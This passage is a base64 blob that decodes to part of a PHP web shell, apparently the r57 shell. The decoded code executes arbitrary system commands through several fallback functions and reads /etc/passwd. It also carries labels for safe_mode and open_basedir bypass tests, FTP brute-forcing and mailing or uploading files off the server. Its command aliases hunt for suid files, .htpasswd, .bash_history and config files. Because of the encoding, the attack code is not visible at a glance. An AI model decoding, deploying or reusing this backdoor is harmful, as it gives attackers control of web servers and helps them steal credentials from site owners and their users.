0+J1JlbW90ZSBwb3J0JywNCidlbmdfdGV4dDI2Jz0+J1VzZScsDQonZW5nX2J1dHQ1JyA9PidSdW4nLA0KJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLA0KJ2VuZ190ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsDQonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLA0KJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLA0KJ2VuZ19idXR0NycgPT4nU2hvdycsDQonZW5nX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsDQonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywNCidlbmdfdGV4dDMzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zJywNCidlbmdfYnV0dDgnID0+J1Rlc3QnLA0KJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5jdGlvbicsDQonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwnLA0KJ2VuZ190ZXh0MzYnPT4nRGF0YWJhc2UgLiBUYWJsZScsDQonZW5nX3RleHQzNyc9PidMb2dpbicsDQonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsDQonZW5nX3RleHQzOSc9PidEYXRhYmFzZScsDQonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywNCidlbmdfYnV0dDknID0+J0R1bXAnLA0KJ2VuZ190ZXh0NDEnPT4nU2F2ZSBkdW1wIGluIGZpbGUnLA0KJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsDQonZW5nX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywNCidlbmdfYnV0dDEwJz0+J1NhdmUnLA0KJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLA0KJ2VuZ190ZXh0NDUnPT4nRmlsZSBzYXZlZCcsDQonZW5nX3RleHQ0Nic9PidTaG93IHBocGluZm8oKScsDQonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLA0KJ2VuZ190ZXh0NDgnPT4nRGVsZXRlIHRlbXAgZmlsZXMnLA0KJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywNCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLA0KJ2VuZ190ZXh0NTAnPT4nVmlldyBjcHUgaW5mbycsDQonZW5nX3RleHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywNCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsDQonZW5nX3RleHQ1Myc9PidJbiBkaXJzJywNCidlbmdfdGV4dDU0Jz0+J0ZpbmQgdGV4dCBpbiBmaWxlcycsDQonZW5nX2J1dHQxMic9PidGaW5kJywNCidlbmdfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLA0KJ2VuZ190ZXh0NTYnPT4nTm90aGluZyA6KCcsDQonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCidlbmdfdGV4dDU4Jz0+J25hbWUnLA0KJ2VuZ190ZXh0NTknPT4nZmlsZScsDQonZW5nX3RleHQ2MCc9PidkaXInLA0KJ2VuZ19idXR0MTMnPT4nQ3JlYXRlL0RlbGV0ZScsDQonZW5nX3RleHQ2MSc9PidGaWxlIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjMnPT4nRmlsZSBkZWxldGVkJywNCidlbmdfdGV4dDY0Jz0+J0RpciBkZWxldGVkJywNCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsDQonZW5nX3RleHQ2Nic9PidEZWxldGUnLA0KJ2VuZ190ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLA0KJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsDQonZW5nX3RleHQ2OSc9PidwYXJhbTEnLA0KJ2VuZ190ZXh0NzAnPT4ncGFyYW0yJywNCidlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLA0KJ2VuZ190ZXh0NzInPT4nVGV4dCBmb3IgZmluZCcsDQonZW5nX3RleHQ3Myc9PidGaW5kIGluIGZvbGRlcicsDQonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywNCidlbmdfdGV4dDc1Jz0+JyogeW91IGNhbiB1c2UgcmVnZXhwJywNCidlbmdfdGV4dDc2Jz0+J1NlYXJjaCB0ZXh0IGluIGZpbGVzIHZpYSBmaW5kJywNCidlbmdfdGV4dDgwJz0+J1R5cGUnLA0KJ2VuZ190ZXh0ODEnPT4nTmV0JywNCidlbmdfdGV4dDgyJz0+J0RhdGFiYXNlcycsDQonZW5nX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywNCidlbmdfdGV4dDg0Jz0+J1NRTCBxdWVyeScsDQonZW5nX3RleHQ4NSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBjb21tYW5kcyBleGVjdXRlIHZpYSBNU1NRTCBzZXJ2ZXInLA0KJ2VuZ190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLA0KJ2VuZ19idXR0MTQnPT4nRG93bmxvYWQnLA0KJ2VuZ190ZXh0ODcnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSByZW1vdGUgZnRwLXNlcnZlcicsDQonZW5nX3RleHQ4OCc9PidGVFAtc2VydmVyOnBvcnQnLA0KJ2VuZ190ZXh0ODknPT4nRmlsZSBvbiBmdHAnLA0KJ2VuZ190ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsDQonZW5nX3RleHQ5MSc9PidBcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Mic9Pid3aXRob3V0IGFyY2hpdmF0aW9uJywNCidlbmdfdGV4dDkzJz0+J0ZUUCcsDQonZW5nX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsDQonZW5nX3RleHQ5NSc9PidVc2VycyBsaXN0JywNCidlbmdfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nyc9PidjaGVja2VkOiAnLA0KJ2VuZ190ZXh0OTgnPT4nc3VjY2VzczogJywNCidlbmdfdGV4dDk5Jz0+JyogdXNlIHVzZXJuYW1lIGZyb20gL2V0Yy9wYXNzd2QgZm9yIGZ0cCBsb2dpbiBhbmQgcGFzc3dvcmQnLA0KJ2VuZ190ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsDQonZW5nX3RleHQxMDEnPT4nVXNlIHJldmVyc2UgKHVzZXIgLT4gcmVzdSkgbG9naW4gZm9yIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMic9PidNYWlsJywNCidlbmdfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywNCidlbmdfdGV4dDEwNCc9PidTZW5kIGZpbGUgdG8gZW1haWwnLA0KJ2VuZ190ZXh0MTA1Jz0+J1RvJywNCidlbmdfdGV4dDEwNic9PidGcm9tJywNCidlbmdfdGV4dDEwNyc9PidTdWJqJywNCidlbmdfYnV0dDE1Jz0+J1NlbmQnLA0KJ2VuZ190ZXh0MTA4Jz0+J01haWwnLA0KJ2VuZ190ZXh0MTA5Jz0+J0hpZGUnLA0KJ2VuZ190ZXh0MTEwJz0+J1Nob3cnLA0KJ2VuZ190ZXh0MTExJz0+J1NRTC1TZXJ2ZXIgOiBQb3J0JywNCidlbmdfdGV4dDExMic9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBmdW5jdGlvbiBtYl9zZW5kX21haWwnLA0KJ2VuZ190ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBkaXIgbGlzdCB2aWEgaW1hcF9saXN0JywNCidlbmdfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBpbWFwX2JvZHknLA0KJ2VuZ190ZXh0MTE1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgY29weSBmaWxlIHZpYSBjb21wcmVzcy56bGliOi8vIGluIGZ1bmN0aW9uIGNvcHkoKScsDQonZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywNCidlbmdfdGV4dDExNyc9Pid0bycsDQonZW5nX3RleHQxMTgnPT4nRmlsZSBjb3BpZWQnLA0KJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywNCidlbmdfdGV4dDEyMCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgdmlhIGNyZWF0aW5nIHBocC5pbmknLA0KJ2VuZ190ZXh0MTIxJz0+J1BocC5pbmkgZm91bmQsIGNvcHkgdG8gcGhwX2luaV9iYWNrdXAuJywNCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywNCidlbmdfZXJyMSc9PidFcnJvciEgQ2FuXCd0IHJlYWQgZmlsZSAnLA0KJ2VuZ19lcnIyJz0+J0Vycm9yISBDYW5cJ3QgY3JlYXRlICcsDQonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsDQonZW5nX2VycjQnPT4nRXJyb3IhIENhblwndCBsb2dpbiBvbiBmdHAgc2VydmVyJywNCidlbmdfZXJyNSc9PidFcnJvciEgQ2FuXCd0IGNoYW5nZSBkaXIgb24gZnRwJywNCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsDQonZW5nX2VycjcnPT4nTWFpbCBzZW5kJywNCidlbmdfdGV4dDEyMicgPT4gJ2Vycm9yX2xvZygpIFNhZmUgTW9kZSBCeXBhc3MnLA0KJ2VuZ190ZXh0MTIzJyA9PiAnaHRhY2Nlc3Mgc2FmZW1vZGUgYW5kIG9wZW5fYmFzZWRpciBieXBhc3MnLA0KJ2VuZ190ZXh0MTI0JyA9PiAnV3JpdGUgdG8gZmlsZScsDQonZW5nX3RleHQxMjUnID0+ICdDb250ZW50JywNCidlbmdfdGV4dDEyNicgPT4gJ1NTSSBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDEyNycgPT4gJ0NPTSBmdW5jdGlvbnMgc2FmZV9tb2RlIGFuZCBkaXNhYmxlX2Z1bmN0aW9uIGJ5cGFzcycsDQonZW5nX3RleHQxMjgnID0+ICdpb25DdWJlIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDEyOScgPT4gJ3dpbjMyc3RkIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDEzMCcgPT4gJ3dpbjMyc2VydmljZSBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQxMzEnID0+ICdwZXJsIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDEzMicgPT4gJ0ZGSSBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQopOw0KLyoNCsDr6ODx+yDq7uzg7eQNCs/u5+Lu6//+8iDo5+Hl5uDy/CDs7e7j7urw4PLt7uPuIO3g4e7w4CDu5O3o9SDoIPLl9S3m5SDq7uzg7eQuICgg0eTl6+Dt7iDh6+Dj7uTg8P8g7O7l6SDv8Ojw7uTt7ukg6+Xt6CApDQrC+yDs7ubl8uUg8eDs6CDk7uHg4uv/8vwg6OvoIOjn7OXt//L8IOru7ODt5PsuDQoqLw0KJGFsaWFzZXM9YXJyYXkoDQonZmluZCBzdWlkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnLA0KJ2ZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywNCidmaW5kIHNnaWQgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycsDQonZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ2ZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnLA0KJ2ZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnLA0KJ2ZpbmQgY29uZmlnKiBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiInLA0KJ2ZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiInLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3Rvcmllcyc9PidmaW5kIC8gIC10eXBlIGQgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZCAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGFuZCBmaWxlcyc9PidmaW5kIC8gLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnLA0KJ2ZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnLA0KJ2ZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLA0KJ2ZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsDQonZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywNCidmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsDQonZmluZCBhbGwgLm15c3FsX2hpc3RvcnkgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnknLA0KJ2ZpbmQgLm15c3FsX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLm15c3FsX2hpc3RvcnknLA0KJ2ZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLA0KJ2ZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsDQonbGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0nPT4nbHNhdHRyIC12YScsDQonc2hvdyBvcGVuZWQgcG9ydHMnPT4nbmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbicsDQonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PidscyAtbGEnDQopOw0KJHRhYmxlX3VwMSAgPSAiPHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsNCiR0YWJsZV91cDMgID0gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+IjsNCiR0YWJsZV9lbmQxID0gIjwvdGQ+PC90cj4iOw0KJGFycm93ID0gIiA8Zm9udCBmYWNlPVdlYmRpbmdzIGNvbG9yPWdyYXk+NDwvZm9udD4iOw0KJGxiID0gIjxmb250IGNvbG9yPWJsYWNrPls8L2ZvbnQ+IjsNCiRyYiA9ICI8Zm9udCBjb2xvcj1ibGFjaz5dPC9mb250PiI7DQokZm9udCA9ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iOw0KJHRzID0gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCiR0ZSA9ICI8L3RhYmxlPiI7DQokZnMgPSAiPGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQokZmUgPSAiPC9mb3JtPiI7DQoNCmlmKGlzc2V0KCRfR0VUWyd1c2VycyddKSkgDQogeyANCiBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvZm9udD48L2NlbnRlcj4iOyB9DQogZWxzZSANCiAgeyANCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IA0KIH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2RpciddKSkgeyBAY2hkaXIoJF9QT1NUWydkaXInXSk7IH0NCiRkaXIgPSBAZ2V0Y3dkKCk7DQokdW5peCA9IDA7DQppZihzdHJsZW4oJGRpcik+MSAmJiAkZGlyWzFdPT0iOiIpICR1bml4PTA7IGVsc2UgJHVuaXg9MTsNCmlmKGVtcHR5KCRkaXIpKQ0KIHsgDQogJG9zID0gZ2V0ZW52KCdPUycpOw0KIGlmKGVtcHR5KCRvcykpeyAkb3MgPSBwaHBfdW5hbWUoKTsgfSANCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0gDQogZWxzZQ0KICAgIHsNCiAgICBpZihAZXJlZ2koIl53aW4iLCRvcykpIHsgJHVuaXggPSAwOyB9DQogICAgZWxzZSB7ICR1bml4ID0gMTsgfQ0KICAgIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiAhZW1wdHkoJF9QT1NUWydzX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikNCiAgew0KICAgIGVjaG8gJGhlYWQ7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsnc19tYXNrJ10pICYmICFlbXB0eSgkX1BPU1RbJ20nXSkpIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTsgfQ0KICAgIGVsc2UgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTsgfQ0KICAgICRzci0+U2VhcmNoVGV4dCgwLDApOw0KICAgICRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7DQogICAgJGZvdW5kID0gJHNyLT5HZXRNYXRjaGVzQ291bnQoKTsNCiAgICAkdGl0bGVzID0gJHNyLT5HZXRUaXRsZXMoKTsNCiAgICAkciA9ICIiOw0KICAgIGlmKCRmb3VuZCA+IDApDQogICAgew0KICAgICAgJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7DQogICAgICBmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQ0KICAgICAgew0KICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICRyIC49ICI8VEQgY29sc3Bhbj0yPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIud3MoMyk7DQogICAgICAgICRyIC49ICghJHVuaXgpPyBzdHJfcmVwbGFjZSgiLyIsIlxcIiwkZmlsZSkgOiAkZmlsZTsNCiAgICAgICAgJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsNCiAgICAgICAgJHIgLj0gIjwvVFI+IjsNCiAgICAgICAgZm9yZWFjaCgkdiBhcyAkYT0+JGIpDQogICAgICAgIHsNCiAgICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjxURD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8L1RSPlxuIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHIgLj0gIjwvVEFCTEU+IjsNCiAgICBlY2hvICRyOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgZWNobyAiPFAgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7DQogICAgfQ0KICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICBkaWUoKTsgDQogIH0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICItIjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgIHsNCiAgICBAb2Jfc3RhcnQoKTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgQHBjbG9zZSgkZik7DQogIH0NCiB9DQogcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiBnZXRfdXNlcnMoKQ0Kew0KICAkdXNlcnMgPSBhcnJheSgpOw0KICAkcm93cz1maWxlKCcvZXRjL3Bhc3N3ZCcpOw0KICBpZighJHJvd3MpIHJldHVybiAwOwkNCiAgZm9yZWFjaCAoJHJvd3MgYXMgJHN0cmluZykNCiAgIHsNCiAgIAkkdXNlciA9IEBleHBsb2RlKCI6Iiwkc3RyaW5nKTsNCiAgIAlpZihzdWJzdHIoJHN0cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsNCiAgIH0NCiAgcmV0dXJuICR1c2VyczsgCQ0KfQ0KZnVuY3Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPic7CQ0KZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07DQppZighZW1wdHkoJHR4dCkpIHsgZWNobyAiICR0eHQiOyB9DQplY2hvICc8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7DQpyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRtb2RlKQ0Kew0KaWYgKCEkR0xPQkFMU1sndW5peCddKSByZXR1cm4gMDsNCmlmKCAkbW9kZSAmIDB4MTAwMCApIHsgJHR5cGU9J3AnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NDAwMCApIHsgJHR5cGU9J2QnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NjAwMCApIHsgJHR5cGU9J2InOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QTAwMCApIHsgJHR5cGU9J2wnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QzAwMCApIHsgJHR5cGU9J3MnOyB9DQplbHNlICR0eXBlPSd1JzsNCiRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7DQokZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCiRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCiRncm91cFsiZXhlY3V0ZSJdID0g